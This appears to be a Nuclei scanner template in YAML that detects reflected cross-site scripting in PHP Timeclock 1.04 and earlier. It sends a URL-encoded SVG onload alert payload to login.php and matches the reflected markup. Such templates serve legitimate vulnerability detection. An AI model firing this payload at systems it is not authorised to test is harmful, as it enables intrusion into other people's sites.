mirror of
https://github.com/projectdiscovery/nuclei-templates.git
synced 2026-02-03 17:23:30 +08:00
40 lines
1.2 KiB
YAML
40 lines
1.2 KiB
YAML
id: php-timeclock-xss
|
|
|
|
info:
|
|
name: PHP Timeclock <=1.04 - Cross-Site Scripting
|
|
author: pikpikcu
|
|
severity: high
|
|
description: PHP Timeclock 1.04 and prior contains multiple cross-site scripting vulnerabilities via login.php, timeclock.php, reports/audit.php. and reports/timerpt.php
|
|
reference:
|
|
- https://www.exploit-db.com/exploits/49853
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
|
|
cvss-score: 7.2
|
|
cwe-id: CWE-79
|
|
metadata:
|
|
max-request: 1
|
|
tags: xss,php,timeclock,edb,intrusive
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/login.php/'%3E%3Csvg/onload=alert%60{{randstr}}%60%3E"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
- type: word
|
|
words:
|
|
- "<svg/onload=alert`{{randstr}}`>"
|
|
- "PHP Timeclock Admin Login"
|
|
part: body
|
|
condition: and
|
|
|
|
- type: word
|
|
words:
|
|
- "text/html"
|
|
part: header
|
|
# digest: 4a0a0047304502205c5dd21a6f1803cc40bc1de93eaf9bb16f63ccf2be33daa846abbf1a98c44c4c022100cd51998e16f59ab2a81b0808af418ee1b5331c69b65e59f87f4814d5edd952f1:922c64590222798bb761d5b6d8e72950 |